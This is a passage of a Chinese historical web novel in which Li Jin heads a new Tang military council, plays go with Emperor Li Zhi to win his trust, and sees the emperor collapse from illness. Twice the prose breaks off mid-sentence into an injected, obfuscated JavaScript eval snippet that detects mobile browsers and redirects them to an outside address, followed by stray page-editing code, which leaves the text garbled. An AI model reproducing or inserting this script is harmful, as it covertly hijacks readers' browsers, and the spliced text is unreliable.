“朕绍膺景命,抚临万方。戡乱以武,守成以文,二者兼用,古之制也。然时移世易,兵制之弊渐显,府卫之政或弛。为固国本,强干弱枝,永绝方镇之患,特于禁中设立‘枢密院’,总天下兵马机要、边防守御、将帅黜陟、军籍符信、甲仗粮储等一应军务。凡调兵逾千,除授五品以上武职,必经枢密院议,呈朕亲决。兵部所司如故,唯军机要务,移枢密院处之。
“以同中书门下三品、梁国公李瑾,忠勤体国,晓畅军事,加‘知枢密院事’,专司整饬军备、筹划新制、筹建新军事宜。
“以司空、英国公李勣,元老勋旧,加‘同知枢密院事’,参赞军机。
“以侍中、检校兵部尚书许敬宗,同中书门下三品刘仁轨,并加‘枢密副使’,协理院务。
“其余属官,由朕亲简拔擢。诏到奉行,布告中外,咸使闻知。”
诏书一下,朝野震动。
设立枢密院,总揽军机!这意味着延续百年的、以兵部、十六卫、各都督府分掌军权的格局被彻底打破,军队的最高指挥权和核心人事权,被收归皇帝直接掌控的一个新机构。虽然诏书强调兵部职能不变,但明眼人都知道,兵部的实际权力已被大大削弱,从此沦为执行机构。
而李瑾,这个刚刚辞去王爵、交了兵符的年轻人,居然被任命为首位“知枢密院事”,虽然只是临时差遣,且与李勣、许敬宗、刘仁轨等人互相制衡,但其地位之特殊,权限之关键,已不言而喻。他没有回到边疆掌兵,却以一种更核心、更接近权力中枢的方式,重新回到了帝国的军事决策中心。
反对的声音不是没有。一些与旧军府系统利益攸关的官员、世家代表,纷纷上书,或言“祖宗之法不可轻变”,或言“权柄过于集中,恐生肘腋之变”,或暗指李瑾“年少权重,非国家之福”。然而,在皇帝强化皇权的决心,以及皇后一系(包括许敬宗等人)的强力支持下,这些反对的声音并未掀起太大波澜。皇帝以“此乃整军经武、巩固边防、永葆太平之举”为由,将反对意见一一驳回。李勣虽然被加了“同知枢密院事”的头衔,但他年老多病,实际上很少管事,更多是一种象征性的坐镇。刘仁轨是务实派,对府兵弊端亦有认识,对改革并不坚决反对。许敬宗则是武后的坚定支持者。
于是,在一种微妙而复杂的平衡中,在各方尚未完全反应过来、或者还在观望权衡之际,枢密院这个全新的、直属于皇帝的军事核心决策机构,便在大明宫深处,悄然挂牌成立。它的官署设在原弘文馆附近的一处偏殿,戒备森严,出入皆需特制鱼符。首批从各部抽调、或由皇帝亲自简拔的年轻官员、宦官,开始进驻,处理从兵部、各卫府、边镇转移过来的核心军机文书。
李瑾,也结束了他短暂的“静养”,每日出入宫禁,到那个新挂上“枢密院”匾额的殿宇“上班”。他知道,这只是第一步。枢密院的建立,为军制改革打开了大门,也为他提供了一个绝佳的舞台。下一步,便是以枢密院为依托,真正开始推行募兵试点,组建直属中央的“神策军”了。而他将在这个新的棋局上,与皇帝,与皇后,与朝中各方势力,展开新一轮的博弈与合作。
帝国的军事机器,开始以一种前所未有的方式,悄然调整着齿轮。而长安城的权力格局,也因这间新衙署的设立,发生了不易察觉,却影响深远的倾斜。
第179章 君臣弈棋局
枢密院悄然设立,如同一块投入湖面的石子,在朝堂激起的涟漪远比表面上看起来的更为深远。表面上的反对声浪被皇权与后党联手压下,但水面之下,暗流涌动。旧有军事体系中的既得利益者们,感受到切肤之痛,虽不敢公然抗命,但或明或暗的掣肘、拖延、非议,已开始在各处滋生。而作为新设枢密院的首位“知院事”,被推上风口浪尖的李瑾,自然也承受了最多的目光和压力。
他每日准时入宫,在戒备森严的枢密院偏殿处理文书,召见相关官员,与同知院事的李勣(名义上)、副使许敬宗、刘仁轨等人商议军机,更重要的是,开始着手规划那支注定将改变大唐军制的试点新军——“神策军”的筹建细则。从兵员招募标准、粮饷定额、训练章程,到营房选址、将佐选拔,千头万绪。反对者冷眼旁观,甚至暗中设置障碍,支持者(主要是后党及部分改革派)则期待他能迅速打开局面。李瑾表现得异常沉稳,不疾不徐,只抓大略方针,具体事务则放手让手下那些被皇帝亲自简拔、多为中下级官员出身的年轻僚属去办,自己则更多地将精力放在与皇帝的沟通上。
他知道,枢密院能否站稳脚跟,募兵新制能否推行,关键在于皇帝李治的决心和支持。而李治的身体时好时坏,心思也难免随着病情起伏。在最初的兴奋和决断之后,面对具体推行中必然遇到的阻力和需要真金白银的投入,这位多病而又敏感的帝王,内心那根猜疑的弦,是否又会悄然绷紧?尤其是对他这个手握改革具体筹划大权的年轻“知院事”?
必须再次加固皇帝的信任。光靠奏疏和公务汇报是不够的,需要更私密、更潜移默化的交流。
机会很快来了。这日午后,李治因头风发作,未能视朝,在蓬莱殿侧殿静养。或许是久病烦闷,或许是有意为之,他竟派内侍高延福到枢密院传口谕,召李瑾前往蓬莱殿弈棋。
弈棋,在大唐君臣之间,从来不只是消遣,更是一种交流,一种试探,一种无需言明的默契较量。李瑾心领神会,放下手头文书,整理衣冠,随高延福前往蓬莱殿。
殿内弥漫着淡淡的、宁神的檀香。李治身着常服,斜靠在一张铺着软褥的胡床上,面色有些苍白,但精神尚可。他面前摆着一副白玉棋盘,两边各放着一个棋罐,一黑一白,棋子温润,显然不是凡品。武则天不在殿内,据说是去查看太子李弘的功课了。
“臣李瑾,参见陛下。”李瑾趋步上前,恭敬行礼。
“免礼,坐。”李治的声音有些沙哑,指了指棋盘对面的坐席,“朕今日有些闷,想起爱卿棋艺似是不错,陪朕手谈一局如何?”
“陛下相召,臣之荣幸。只是臣棋力粗浅,恐扫了陛下雅兴。”李瑾谦逊道,在对面端正坐下,姿态恭谨,却无拘束。
“无妨,闲敲棋子落灯花,本就是消遣。”李治示意高延福退到殿角伺候,自己执起一枚黑子,随意落在棋盘右上星位,“爱卿近日在枢密院,可还顺心?”
谈话,从棋局开始,却意不在棋。
李瑾执白,应了一手小飞挂角,口中答道:“蒙陛下信重,委以重任,臣战战兢兢,如履薄冰。幸得许相、刘公等人鼎力相助,诸事虽繁杂,尚可循序推进。”
“哦?可有难处?”李治又落一子,目光落在棋盘上,似是不经意地问。
“难处自然是有。”李瑾老实承认,同样落子,棋风稳健,“筹建新军,千头万绪。兵部移交文书档案,偶有迟滞;户部对新增钱粮开支,核算甚严;十六卫中,亦有些许老将,对招募士卒的标准、待遇颇有微词,认为厚此薄彼。此皆情理之中,新政初行,触及旧例,难免龃龉。臣与同僚正一一协调,陈说利害。陛下设立枢密院,本为总揽军权,强干弱枝,此乃万世之基,些许阻力,不足为虑,假以时日,必能通畅。”他既说明了困难,又点出困难的原因在于触动旧利益,最后归结到这是为了皇帝“强干弱枝”的大业,困难是暂时的,前景是光明的。
“强干弱枝……是啊,枝强则干危。”李治喃喃重复了一句,落下一子,忽然道,“爱卿可知,朕为何执意要设这枢密院,又要行这募兵之制?”
李瑾执棋的手微微一顿,抬起眼,正对上李治投来的、带着审视和些许疲惫的目光。他放下棋子,肃容拱手:“臣愚钝,请陛下明示。”
李治没有立刻回答,而是用手指轻轻摩挲着光滑的玉质棋子,缓缓道:“朕自登基以来,夙兴夜寐,不敢有丝毫懈怠。内修政理,外抚四夷,所求者,不过祖宗基业稳固,大唐江山永祚。然,朕这身子……唉。”他叹了口气,脸上掠过一丝阴霾,“天不假年,精力日衰。有时批阅奏章,不过半个时辰,便觉头晕目眩。军国大事,千头万绪,朕真怕……有负先帝重托。”
“陛下!”李瑾动容,离席跪倒,“陛下春秋正盛,偶有微恙,乃寻常事。还请陛下善保龙体,勿要过于忧劳。朝中有皇后殿下辅佐,有诸位宰相尽心,更有陛下圣明烛照,我大唐必能江山永固,陛下也定能福寿安康!”
“起来,坐下说。”李治摆摆手,示意他起身,“朕知道,皇后能干,诸臣用心。可这军权……终究是社稷命脉,朕若不亲自握在手里,实在难以安寝。”他目光变得锐利起来,“府兵之制,初时甚好,兵农合一,不费国帑。可如今,你也看到了,军府空虚,将骄兵惰,更甚者,边将坐大,渐成尾大不掉之势。安西、北庭、陇右……那些都督、都护,天高皇帝远啊。此次西征,你提调诸军,可曾感到掣肘?”
李瑾重新坐下,沉吟片刻,坦诚道:“回陛下,确有掣肘。军令出于多门,号令难以齐一。各军府兵战力参差,补给迟缓,将官或有保存实力之私心。若非陛下授予臣临机专断之权,皇后殿下在后方竭力筹措粮草,诸将用命,兼之吐蕃内乱,此战结果,犹未可知。”
“这便是了。”李治重重一叹,将一颗黑子“啪”地落在棋盘中央天元之位,气势陡然一凝,“军权分散,则令不行,禁不止;边将坐大,则易生骄矜,乃至割据。汉之七国之乱,魏晋南北朝之藩镇祸,殷鉴不远!朕设枢密院,便是要将这调兵、遣将、任官之权,收归中枢,握于朕手!募兵新军,便是要练一支真正听命于朝廷、听命于朕的虎狼之师,替代那些暮气沉沉、盘根错节的府兵!”
他盯着李瑾,一字一句道:“爱卿,你首倡此议,又深知兵事,朕将这枢密院,将这练兵革制之重任交给你,便是要你替朕,铸就这把牢牢握在手中的天子之剑!此剑,当锋锐无匹,当指哪打哪,更要确保,剑柄永远在朕的手中!你,明白吗?”
话语中的敲打、期望、警告,表露无遗。李瑾立刻离席,再次拜倒,以额触地,声音清晰而坚定:“陛下苦心,臣感同身受,铭感五内!臣非愚钝,岂不知陛下设立枢密院、行募兵制之深意?正在于收兵权于中央,固国本于未然!此乃社稷之福,万民之幸!臣得蒙陛下不弃,委以此等重任,敢不竭尽驽钝,肝脑涂地?”
他抬起头,目光清澈而坦荡,迎着李治审视的眼神:“臣愿以此身,为陛下铸此天子之剑。然,剑再利,终是凶器,唯执于陛下之手,方为社稷之福。枢密院上下,皆乃陛下之耳目爪牙;新练之军,唯认陛下虎符诏令。臣,不过是陛下手中一块顽铁,陛下欲将臣锻造成何种模样,臣便是何种模样;陛下欲将臣置于何处,臣便恪守何处,绝无二心!此心此志,天日可鉴!若有丝毫逾越,甘受天谴!”
这一番话,说得掷地有声,将自身位置摆得极低——只是一块任由皇帝锻造安排的“顽铁”,将枢密院和新军的最终归属说得极明——永远属于皇帝。既回应了李治的敲打,又再次表明了毫无私心的忠诚。
李治紧绷的脸色,终于缓和下来,眼中闪过一丝满意和欣慰。他亲自起身,将李瑾扶起:“爱卿言重了。你的忠心,朕从未怀疑。只是此事关系重大,朕不得不……唉,也许是朕多虑了。起来,坐下,继续下棋。”
接下来的棋局,气氛明显轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023088|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松了许多。李治的棋风,稳中带杀,注重布局和大势,偶尔有出人意料的凌厉手段。而李瑾的棋路,则绵密厚重,善于忍耐和转换,往往在看似平淡的应对中,悄然积累优势,但每到关键处,又总会“恰到好处”地露出些许破绽,或者选择看似稳健实则稍缓的应对,让李治能够抓住机会,取得局面的主动或局部的胜利。
两人一边落子,一边闲聊,话题从新军筹建,慢慢扩展到边疆局势、西域风物,乃至诗词歌赋。李瑾知识渊博,谈吐得体,既能纵论军国大事,也能欣赏风花雪月,更难得的是,他总能将话题引向有利于彰显皇帝权威、歌颂天下太平的方向,让李治听得身心舒畅,连头风似乎都减轻了几分。
“陛下请看,”李瑾指着棋盘一角自己看似稳固的“大龙”,那里被李治的黑棋隐隐包围,存在一个不起眼的弱点,“此处看似铁板一块,实则若被对方抓住要害,连环劫争,恐有倾覆之危。用兵之道,亦复如是。昔年太宗皇帝征高句丽,前期势如破竹,然安市城久攻不下,天气转寒,粮道漫长,一处受挫,全局被动。故为将者,不可不察细微,不可不备万全。陛下设立枢密院,总揽军机,正是为了明察**之外秋毫之变,避免此类‘一处疏忽,满盘受累’之局。”
李治看着棋盘,又看看李瑾,捻须微笑:“爱卿以棋喻兵,甚妙。这治国、用兵、对弈,道理相通,皆在于谋全局,察细微,知进退,握主动。朕设枢密院,便是要掌握这‘主动’二字。”
“陛下圣明。”李瑾含笑应道,随手落下一子,恰好补上了那个细微的破绽,却似乎又让出了中腹的些许实地,“主动在我,则从容不迫。然主动之势,需上下同心,如臂使指。臣在枢密院,必时刻谨记,一切机宜,皆需禀明陛下,恭请圣裁。新军招募、训练、将领任免,章程细则,臣可草拟,然最终定夺,非陛下朱批不可。此乃臣之本分,亦为枢密院立院之本。”
这番话,再次强调了皇权的至高无上和枢密院“执行机构、参谋机构”而非“决策机构”的本质,彻底打消了李治最后一丝疑虑。
一局棋,下了近一个时辰,最终以李治中盘获胜告终。李治投子认负(在官子阶段李瑾又“失误”了一小处),脸上露出了久违的、轻松的笑容。
“爱卿棋力深厚,布局精妙,朕赢得侥幸啊。”李治心情颇佳,虽然赢了棋,但他能感觉到,李瑾是用了心的,既展现了实力,又不着痕迹地维护了君王的体面。
“陛下运筹帷幄,高瞻远瞩,臣望尘莫及。”李瑾谦逊道。
“好了,不说这些虚言。”李治摆摆手,显得十分随意,“今日与爱卿手谈,甚为畅快。这棋,也下得通透。”他顿了顿,看着李瑾,语重心长地道:“枢密院之事,你放手去做。有何难处,可直接奏报于朕。朝中若有闲言碎语,你不必理会,朕自会为你做主。记住,你是在为朕办事,为大唐的江山永固办事。”
“臣,谨记陛下教诲!定当鞠躬尽瘁,死而后已!”李瑾离席,郑重行礼。
“嗯,”李治满意地点点头,似乎想起了什么,对高延福道:“去,将前日进贡的那副暖玉棋子取来,赐予梁国公。今日这局棋,朕下得高兴。”
“臣,谢陛下厚赐!”李瑾再次拜谢。暖玉棋子,珍贵还在其次,这份赏赐背后代表的亲近和信任,才是关键。
当李瑾捧着那副温润的玉棋子退出蓬莱殿时,夕阳的余晖正洒在大明宫巍峨的殿宇上,泛起一片金红。他知道,今日这盘棋,他下得不错。不仅赢了棋(让皇帝赢了),更赢得了比一副玉棋子更重要的东西——皇帝暂时、但或许更加牢固的信任,以及在未来改革中,皇帝这把尚方宝剑的明确支持。
虽然前路依然布满荆棘,但最重要的开局,他已经顺利度过。接下来,便是执子落盘,一步步将棋盘上的构想,变为现实了。而他的角色,很明确——皇帝手中最锋利、也最听话的那枚棋子。至少,在皇帝和所有人眼中,必须是如此。
第180章 平衡终达成
盛夏的暑气,在长安城上空蒸腾,却似乎难以侵入大明宫深处那座新挂“枢密院”匾额的偏殿。殿内四角置有冰鉴,丝丝凉意弥散,驱散了外间的燥热。李瑾端坐在主位下首的案几后,面前摊开着一卷刚刚由兵部、户部、将作监等部门会签完毕的文书——《神策军初建章程及用度预算总览》。墨迹犹新,朱印赫然,标志着帝国第一支完全按照募兵制构想筹建、直属于枢密院(亦即皇帝)的新军,正式进入了实施阶段。
殿内并非只有他一人。枢密副使许敬宗、刘仁轨分坐两侧,十几名从各部抽调、经皇帝简拔的枢密院承旨、副承旨等属官,则按品级坐在下首,人人面前都有文书笔墨,气氛肃穆而高效。这是枢密院设立月余以来,逐渐形成的议事常态。
“诸位,”李瑾放下文书,目光平静地扫过在场众人,“神策军筹建章程,各部已然用印,陛下亦已朱批‘照准’。接下来,便是执行。招募布告,三日内须发往关内、河东、河南诸道,明确年龄、体魄、技艺标准及粮饷待遇。营址勘定,就选在长安城西昆明池畔旧营地,需加紧修葺,务于两月内可入驻五千人。首批军械甲仗清单,将作监与少府监需按章程所示,限时拨付。粮饷由太仓及左藏库按季支给,度支司需做好核算,监察御史入驻前,每一文钱都需有明账。”
他语速平稳,条理清晰,将一项项任务分解下达,指定负责的承旨官员,并明确时限和要求。被点到的官员无不凛然应诺,迅速记录。许敬宗捋须点头,对李瑾的务实干练颇为赞赏。刘仁轨则更关注细节,不时插言询问或补充,李瑾皆耐心解答,能采纳的当场采纳,不能立刻决定的,则记录在案,容后与两位副使商议或请示皇帝。
“募兵一事,关乎新制成败,亦为天下所瞩目。”李瑾最后强调,语气严肃,“务必秉持‘公开、公平、择优’六字。严禁冒名顶替,严禁勒索钱财,严禁籍贯歧视。凡合格入选者,无论出身士庶,皆一视同仁,录入军籍,享同等粮饷。此乃陛下明诏所示,亦为新军立信之基。若有违者,无论何人,严惩不贷!”
“谨遵钧命!”众属官齐声应道。他们大多是中青年官员,或是科举出身,或是门荫入仕但素有才干,被皇帝从原有部门中挑选出来,进入这个充满希望也充满挑战的新衙门,心中既有抱负,也知责任重大。李瑾这位年轻的上司,虽然位高权重,但处事公允,不摆架子,凡事有章法,且背后站着皇帝皇后,让他们觉得跟着做事,虽有压力,却也痛快。
议事持续了近一个时辰,各项事务安排妥当,属官们领命各自忙碌而去。殿内只剩下李瑾、许敬宗、刘仁轨三人。
许敬宗笑道:“梁国公统筹得当,诸事井井有条。看来不需多久,我枢密院便能将这神策军的架子搭起来了。”
刘仁轨则道:“章程虽好,执行尤难。募兵布告一出,天下健儿汇聚,甄别、安置、初训,千头万绪。昆明池营房修葺,钱物料工,亦需紧盯,以防宵小从中渔利。此乃开端,万不能有失。”
李瑾拱手道:“二位相公所言极是。章程不过纸面,落到实处方见真章。瑾年轻识浅,经验不足,日后还需二位相公多多提点,遇有难处,亦需借重二位相公威望,协调各方。我等同心戮力,方能不负陛下重托。”
他态度谦逊,将许敬宗和刘仁轨摆在“前辈”和“依靠”的位置,两人心中受用,连连表示自当尽力。许敬宗是后党中坚,自然支持;刘仁轨是务实能臣,见李瑾并非夸夸其谈之辈,做事扎实,也渐渐收起了最初的些许审视,转为合作。
这便是李瑾在枢密院内经营的“**衡”:尊重两位副使,尤其是德高望重的刘仁轨;充分放权给具体办事的属官,激发他们的能动性;自己则把握大方向,协调关键资源,并将所有重要进展和决策,事无巨细地通过每日简报或适时召对,向皇帝李治汇报。他让皇帝感觉到,枢密院在高效运转,但一切都在皇帝的掌控和视线之内。
数日后,神策军募兵布告以六百里加急发往各道,同时也在长安东西两市及各城门张榜公布。布告内容详实,条件优厚:年龄十八至三十,身高体健,无残疾恶疾,略通拳脚弓马者皆可应募。一经入选,即为“神策军士”,享月粮两石,钱八百文,四季有衣,立功厚赏,阵亡优恤。比起府兵需自备资装、服役无常、赏罚不均,吸引力不言而喻。
消息传出,关内震动。有嗤之以鼻的旧军子弟,认为“募兵乃乌合之众,焉能与我世代将门相比”?但更多是生活无着的破产农户、逃离军府的疲敝士卒、心怀壮志的市井少年、甚至一些渴望靠军功改变命运的寒门子弟,纷纷涌向各州府指定的报名点。长安附近的报名处更是人满为患,需要金吾卫维持秩序。
与此同时,李瑾主持拟定的《武学训典》(基础训练大纲)和《阵图新略》(结合火炮、**等新式武器的战术操典)初稿,也送到了李治的案头。李治翻阅着那些图文并茂、细致入微的训练方法和战术想定,尤其是其中强调的“忠君爱国、令行禁止”的思想·操练,以及针对火炮、**、骑兵、步兵协同的种种新颖战法,心中越发满意。李瑾不仅是在建军,更是在为他打造一支思想、装备、战法全新的忠诚军队。
朝堂之上,关于枢密院和募兵制的争议,并未完全平息,但风向已然悄悄转变。最初的激烈反对,在李治的明确支持和武后的暗中策应下,被压制下去。随着神策军筹建进入实质阶段,且章程严谨、待遇公开,一些原本中立的官员,开始观望甚至转向支持。毕竟,谁都看得出来,皇帝推行此事的决心异常坚定。而李瑾踏实稳健的作风,也渐渐赢得了一些务实派官员的好感。
这一日朝会,议题之一便是西北边防调整及安西、北庭大都护的人选。由于李瑾交还了安西大都护印信,吐蕃平定后,安西、北庭的格局也需重新规划。兵部提出了几个人选方案,多为宿将。
李治在御座上听了半晌,不置可否,忽然点名问道:“梁国公,你久在安西,熟知边情。依你之见,何人可当此任?”
李瑾出列,恭声道:“陛下,安西、北庭,地处要冲,民族杂处,新定之后,宜用老成持重、熟悉胡情、且能抚能剿之将。臣以为,检校左骁卫大将军、安西副大都护王方翼,久在边陲,威惠并著,吐蕃之战亦立殊功,可升任安西大都护。至于北庭,原都护骆弘义,处事稳健,可留任,以保平稳。另,此番西征,陇右诸军亦多有功勋,如黑齿常之、郭待封等将,皆可酌予提拔,分镇要地,以示陛下赏功不忘,亦可收稳固边陲之效。”
他推荐的人选,王方翼是实际主持安西战后事务的副手,提拔他顺理成章;骆弘义留任,保持北庭稳定;黑齿常之、郭待封是此番西征的功臣,提拔他们既能酬功,又能将李瑾在军中的旧部(但已无直属关系)安置到关键岗位,某种程度上也是一种平衡——既用了“李瑾系”的将才,又让他们分散各地,无法形成合力。这个建议,既体现了他对边情的了解,又完全出于公心,毫无结党营私之嫌。
李治听了,微微颔首,看向其他宰相:“诸卿以为如何?”
李勣颤巍巍出列:“老臣以为,梁国公所荐甚妥。王方翼沉稳有谋,足当大任。骆弘义留任,可安北庭。黑齿、郭等将,正当其用。”
许敬宗、上官仪等人也纷纷附和。李瑾的建议合情合理,且避开了最敏感的人事安排,众人自然无异议。
“准奏。”李治一锤定音,“即授王方翼为安西大都护,骆弘义仍领北庭都护。黑齿常之授右武卫将军,出镇凉州;郭待封授左威卫将军,出镇鄯州。其余有功将士,着兵部**行赏,尽快落实。”
“陛下圣明!”众臣山呼。
这件大事的议定,过程顺畅,结果公允,让许多朝臣对李瑾的印象又好了几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023089|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分。他不再仅仅是那个“幸进”的年轻功臣,而是逐渐展现出一个能够参与核心决策、且思虑周全的能臣模样。
散朝后,李治单独将李瑾留了下来,在两仪殿侧殿赐茶。
“爱卿近日操劳,朕都看在眼里。”李治啜了一口参茶,语气温和,“枢密院初建,便能如此有条不紊,神策军筹建亦步入正轨,边将任用之议,也深合朕心。你做得很好。”
“此乃臣分内之事,皆赖陛下信任,皇后殿下支持,同僚协力。”李瑾谦道。
“嗯,”李治放下茶盏,沉吟片刻,道:“如今枢密院已上轨道,神策军亦在筹建。然军制改革,非一日之功,更需通盘筹划,与国政相协。你既为同中书门下三品,于政事堂会议,往后可多发表见解,不必仅限于军务。治国如烹小鲜,文武之道,一张一弛。朕望你,不仅要为朕铸剑,亦要为朕分忧,参赞全域。”
这话,无疑是在原有“知枢密院事”的军事权限基础上,进一步赋予了李瑾参与全面朝政的权力和期待。虽然“同中书门下三品”本身就有参政议政的资格,但皇帝亲口强调,意义不同。这意味着李瑾正式被纳入了帝国最高决策圈的核心范畴,虽然排名靠后,但话语权已然不同。
李瑾心中了然,这是对他近期表现满意的奖赏,也是新的期许和捆绑。他立刻离席谢恩:“陛下隆恩,臣感激不尽,必当竭尽愚钝,于军国大事,知无不言,言无不尽,以供陛下采择。”
“好,好。”李治满意地笑了,笑容中带着一丝疲惫,但更多的是如释重负的轻松。他看着眼前这位恭顺、能干、又懂得分寸的年轻人,心中那最后一点因“功高震主”而起的芥蒂,似乎在不知不觉中,已被对方一连串的忠诚表现和切实业绩所消融。至少目前看来,李瑾是他可以倚重,也能让他放心的臣子。有他在枢密院掌军改,在政事堂参朝政,自己似乎可以稍微从繁杂的军政事务中抽身,安心养病了。至于皇后……有她和李瑾内外呼应,朝局当可无忧。
“朕有些乏了,你且退下吧。好生办事,勿负朕望。”李治挥了挥手。
“臣,告退。”李瑾行礼,缓缓退出殿外。
站在两仪殿高大的台阶上,夏日炽烈的阳光有些刺眼。李瑾眯起眼,望向远处层层叠叠的宫殿飞檐,和更远处长安城隐约的轮廓。
交出兵符,是打消皇帝疑虑的第一步。
辞去王爵,是表明无野心的第二步。
设立枢密院、推行募兵,是展现价值、巩固皇权、同时为自己赢得关键职位的第三步。
如今,初步参与全面朝政的权限被给予,是皇帝信任加深、新的权力平衡达成的标志。
他用了数月时间,以巨大的“牺牲”(兵权、王爵)和切实的“贡献”(军改方案、枢密院运作),成功地将他与皇帝之间“功高震主”的危险关系,扭转为了“君臣相得、各司其职”的相对稳定状态。皇帝掌握了军队的最高控制权和最终决策权,安心了;他则获得了在帝**事改革和朝政决策中发挥重要影响的实权位置,安全了。武后则在这个过程中,加强了其对朝局和军权的影响力。
这是一个脆弱而微妙的平衡。皇帝的信任基于他的忠诚表现和身体状况,武后的支持基于共同利益和**需求,而他的地位则基于皇帝的信任和自身的不可或缺性。任何一方的变化,都可能打破这个平衡。
但至少,眼下风暴暂息,他在这座权力迷城中,赢得了一处相对稳固的立足点,和一段可以放手施展的时间。神策军需要建成,军制改革需要深入推进,朝政中还有许多他关注的事情……
他深吸一口气,转身,朝着枢密院的方向走去。步伐沉稳,背影在阳光下被拉得很长。棋盘还在,博弈未止。只是,他已然从一枚可能被弃的“过河卒”,变成了一位可以在更广阔棋盘上落子的“棋手”。下一步,该是将这初步的平衡,转化为真正的实力和布局了。
第181章 帝疾沉疴重
时间如渭水东流,悄然进入了咸亨三年的深秋。长安城外的昆明池畔,曾经荒废的旧营盘已然焕然一新。高耸的辕门,整齐的营房,操练场上尘土飞扬,口令声、脚步声、金铁交鸣声终日不绝。神策军的雏形,正在这里以惊人的速度成长。首批五千名募兵,经过严格筛选和初步编练,已初见成效,队列森严,号令统一,与暮气沉沉的府兵截然不同。这一切,都得益于枢密院的高效运转和皇帝不惜钱粮的投入。
然而,就在这新军茁壮、朝局看似平稳的表象之下,一股令人不安的暗流,正随着日渐凛冽的秋风,在大明宫深处涌动——皇帝李治的风疾,又发作了,而且这一次,来势比以往任何一次都要凶猛。
起初只是偶尔的眩晕和头痛,李治并未太过在意,依旧勉强支撑着临朝听政,批阅奏章。他不想让人,尤其是朝臣们,觉得他已然是个沉疴难起的病弱之君。枢密院的设立和神策军的筹建给了他希望,也让他绷紧了一根弦,他要亲自看着这一切步入正轨。然而,病魔从不以人的意志为转移。
十月初的一日大朝会。含元殿内,百官肃立。李治强打精神,端坐在御座之上,听着各部官员奏事。起初尚能维持常态,但随着时间推移,他感到眼前阵阵发黑,两侧太阳穴如同有锥子在钻凿,剧痛难忍。耳畔大臣们的声音忽远忽近,变得模糊不清。他努力想集中注意力,听清兵部尚书关于陇右马政的汇报,但视野却开始晃动、旋转。
“……去岁新增牧马……陛下?陛下?”兵部尚书察觉到御座上的异样,奏报声停了下来。
殿中渐渐安静,百官的目光都集中到了皇帝身上。只见李治脸色煞白,额头渗出细密的冷汗,一只手死死抓住御座的扶手,手背青筋暴起,另一只手则无意识地按住了自己的额头,身体微微颤抖。
“陛下!”侍立在一旁的高延福最先发现不对,抢步上前,低声惊呼。
“朕……朕无事……”李治咬着牙,从牙缝里挤出几个字,试图挺直身体,但一阵更猛烈的眩晕袭来,他眼前彻底一黑,整个人向后一仰,若非高延福和另一个内侍眼疾手快扶住,几乎要从御座上摔下。
“陛下!”“快传太医!”殿中顿时一片惊乱。宰相们纷纷离席上前,百官骚动。
“肃静!”一个清越而威严的女声响起,压下了殿中的嘈杂。一直坐在御座侧后方帘幕内的皇后武则天,不知何时已起身来到御座旁。她面色沉静,目光扫过慌乱的群臣,迅速下令:“高延福,立刻扶陛下回寝宫!速传太医署所有当值太医前往蓬莱殿!诸位相公,朝会暂止,各归本署,不得喧哗!”
她的声音并不高亢,却带着不容置疑的力量,瞬间稳住了局面。高延福和内侍们小心翼翼地搀扶着已陷入半昏迷状态的李治,从侧门匆匆退下。武则天则转过身,面向群臣,朗声道:“陛下偶感不适,需静养片刻。诸卿且退,若有紧急政务,可呈交政事堂,由诸位相公先行议处。”
说完,她不再多言,对几位宰辅微微颔首,便也转身,跟在皇帝身后匆匆离去,凤袍曳地,步履却沉稳依旧。
朝会戛然而止。百官怀着各种复杂的心情,窃窃私语着退出含元殿。担忧、猜疑、不安的情绪,如同瘟疫般在偌大的皇城中弥漫开来。皇帝的风疾不是秘密,但严重到当朝晕厥,这还是第一次。所有人都意识到,事情可能比想象中更糟。
蓬莱殿内,气氛凝重得几乎要滴出水来。数名太医令、太医丞围在龙榻前,轮流为昏迷不醒的李治诊脉,个个眉头紧锁,低声商议。榻上的李治双目紧闭,面色潮红(后又转为苍白),呼吸急促,偶尔发出无意识的痛苦**。
武则天站在稍远处,面无表情地看着这一切。她的指甲深深掐入手心,才能维持住外表的镇定。李治的病,是她最大的隐忧,也是她权力路上最大的变数。她需要他活着,作为她统御朝臣、名正言顺行使权力的“天子”象征,但又不希望他过于健康,以至于收回已然让渡的权力。如今,这病来得如此猛烈,彻底打破了微妙的平衡。
良久,太医令王焘(注:唐高宗时确有御医名王焘,精医术)擦着额头的汗,走到武则天面前,躬身低语,声音艰涩:“皇后殿下,陛下此症,乃风疾急性发作,邪风入脑,扰动清窍,故而眩晕头痛,乃至昏厥。陛下本就素有风疾,肝肾阴虚,肝阳上亢,近年来忧思劳倦,耗伤气血,此次发作,尤为险恶……脉象弦急而滑,舌质红绛,苔黄燥……”
“本宫不听这些!”武则天打断他,声音冷冽,“你只需告诉本宫,陛下何时能醒?此症能否根治?日后该如何调养?”
王焘额头见汗,噗通跪倒:“殿下恕罪!陛下之疾,沉疴已久,根治……恐难。眼下需施针用药,先稳住病情,促其苏醒。至于日后……需绝对静养,万不可再劳心费神,尤忌忧思恼怒,否则……否则恐有中风偏瘫之虞啊!”他说到最后,已是声泪俱下。
